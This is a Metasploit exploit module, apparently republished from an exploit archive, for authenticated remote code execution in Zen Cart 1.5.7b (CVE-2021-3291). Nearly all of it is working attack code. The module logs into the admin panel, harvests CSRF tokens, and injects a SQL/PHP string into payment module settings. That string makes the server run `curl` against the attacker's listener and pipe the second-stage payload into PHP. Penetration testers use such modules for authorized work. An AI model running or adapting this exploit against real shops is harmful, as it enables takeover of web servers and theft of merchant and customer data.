Zen Cart 1.5.7b Remote Code Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
###  
#  
#  
# This exploit write payload in database and trig to command  
# a bug in an zencart v1.5.7b web application  
#  
###  
class MetasploitModule < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::HttpServer  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'zencart authenticated remote code execution exploit',  
'Description' => %q(  
This exploit module execution os command in zencart.  
),  
'License' => MSF_LICENSE,  
'Author' => ['Mucahit Saratar <[email protected]>'], # msf module & research & poc  
'References' =>[  
[ 'OSVDB', '' ],  
[ 'EDB', '' ],  
[ 'URL', 'https://github.com/MucahitSaratar/zencart_auth_rce_poc'],  
[ 'CVE', '2021-3291']  
],  
'Platform' => 'php',  
'Privileged' => false,  
'Arch' => ARCH_PHP,  
'Targets' => [ ['Automatic', { }] ],  
'DisclosureDate' => '2021-01-22',  
'DefaultTarget' => 0  
)  
)  
register_options(  
[  
Opt::RPORT(80),  
OptString.new('USERNAME', [ true, 'User to login with', 'admin']),  
OptString.new('PASSWORD', [ true, 'Password to login with', '']),  
OptString.new('BASEPATH', [ true, 'zencart base path eg. /zencart/', '/']),  
OptString.new('MODULE', [ true, 'Module name. eg. payment,shipping,ordertotal,plugin_manager', 'payment']),  
OptString.new('SETTING', [ true, 'setting name. eg. freecharger for payment', 'freecharger']),  
OptString.new('TARGETURI', [ true, 'Admin Panel Path', '/cracK-Fqu-trasH/'])  
], self.class  
)  
end  
  
def start_server  
ssltut = false  
if datastore["SSL"]  
ssltut = true  
datastore["SSL"] = false  
end  
start_service({'Uri' => {  
'Proc' => Proc.new { |cli, req|  
on_request_uri(cli, req)  
},  
'Path' => resource_uri  
}})  
print_status("payload is on #{get_uri}")  
@adresim = get_uri  
datastore['SSL'] = true if ssltut  
end  
  
def on_request_uri(cli, request)  
print_good('First stage is executed ! Sending 2nd stage of the payload')  
send_response(cli, payload.encoded, {'Content-Type'=>'text/html'})  
end  
  
def tabanyol  
datastore["BASEPATH"]  
end  
  
def isim  
datastore["USERNAME"]  
end  
  
def parola  
datastore["PASSWORD"]  
end  
  
  
def login  
#"index.php?cmd=login&camefrom=index.php"  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(tabanyol, target_uri.path, "index.php"),  
'vars_get' => {  
'cmd' => 'login',  
'camefrom' => 'index.php'  
})  
# <input type="hidden" name="securityToken" value="c77815040562301dafaef1c84b7aa3f3" />  
unless res  
fail_with(Failure::Unreachable, "Access web application failure")  
end  
if res.code != 200  
fail_with(Failure::Unreachable, "we not have 200 response")  
end  
  
if !res.get_cookies.empty?  
@cookie = res.get_cookies  
@csrftoken = res.body.scan(/<input type="hidden" name="securityToken" value="(.*)" \/>/).flatten[0] || ''  
if @csrftoken.empty?  
fail_with(Failure::Unknown, 'There is no CSRF token at HTTP response.')  
end  
vprint_good("login Csrf token: "+@csrftoken)  
end  
  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(tabanyol, target_uri.path, "index.php?cmd=login&camefrom=index.php"),  
'cookie' => @cookie,  
'vars_post' => {  
'securityToken' => @csrftoken,  
'action' => "do"+@csrftoken,  
'admin_name' => isim,  
'admin_pass' => parola  
})  
if res.code != 302  
fail_with(Failure::UnexpectedReply, 'There is no CSRF token at HTTP response.')  
end  
true  
end  
  
  
def check  
unless login  
fail_with(Failure::UnexpectedReply, 'Wrong credentials')  
return CheckCode::NotVulnerable('Wrong credentials')  
end  
print_good("We loged in")  
Exploit::CheckCode::Vulnerable  
CheckCode::Vulnerable('Authenticated successfully')  
  
end  
  
def exploit  
check  
start_server  
sleep(4)  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(tabanyol, target_uri.path, "index.php"),  
'vars_get' => {  
'cmd' => 'modules',  
'set' => datastore["MODULE"],  
'module' => datastore["SETTING"],  
'action' => 'edit'  
},  
'cookie' => @cookie  
)  
if res.code != 200  
fail_with(Failure::UnexpectedReply, 'Something Wron. code must be 200')  
end  
# <input type="hidden" name="securityToken" value="09068bece11256d03ba55fd2d1f9c820" />  
if res && res.code == 200  
@formtoken = res.body.scan(/<input type="hidden" name="securityToken" value="(.*)" \/>/).flatten[0] || ''  
if @formtoken.empty?  
fail_with(Failure::UnexpectedReply, 'securitytoken not in response')  
end  
#print_good(@formtoken)  
# <form name="modules"   
@radiolar = res.body.scan(/<input type="radio" name="configuration\[(.*)\]" value="True"/)  
@selectler = res.body.scan(/<select rel="dropdown" name="configuration\[(.*)\]" class="form-control">/)  
@textarr = res.body.scan(/<input type="text" name="configuration\[(.*)\]" value="0" class="form-control" \/>/)  
@secme = {}  
@secme["securityToken"] = @formtoken  
for @a in @radiolar  
@secme["configuration[#{@a[0]}]"] = "True','F'); echo `curl #{@adresim} |php`; //"  
end  
for @a in @selectler  
@secme["configuration[#{@a[0]}]"] = "0"  
end  
for @a in @textarr  
@secme["configuration[#{@a[0]}]"] = "0"  
end  
print_good(@secme.to_s)  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(tabanyol, target_uri.path, "index.php"),  
'cookie' => @cookie,  
'vars_get' => {  
'cmd' => 'modules',  
'set' => datastore["MODULE"],  
'module' => datastore["SETTING"],  
'action' => 'save'  
},  
'vars_post' => @secme  
)  
  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(tabanyol, target_uri.path, "index.php"),  
'vars_get' => {  
'cmd' => 'modules',  
'set' => datastore["MODULE"],  
'module' => datastore["SETTING"],  
'action' => 'edit'  
},  
'cookie' => @cookie  
)  
  
end  
end  
end  
`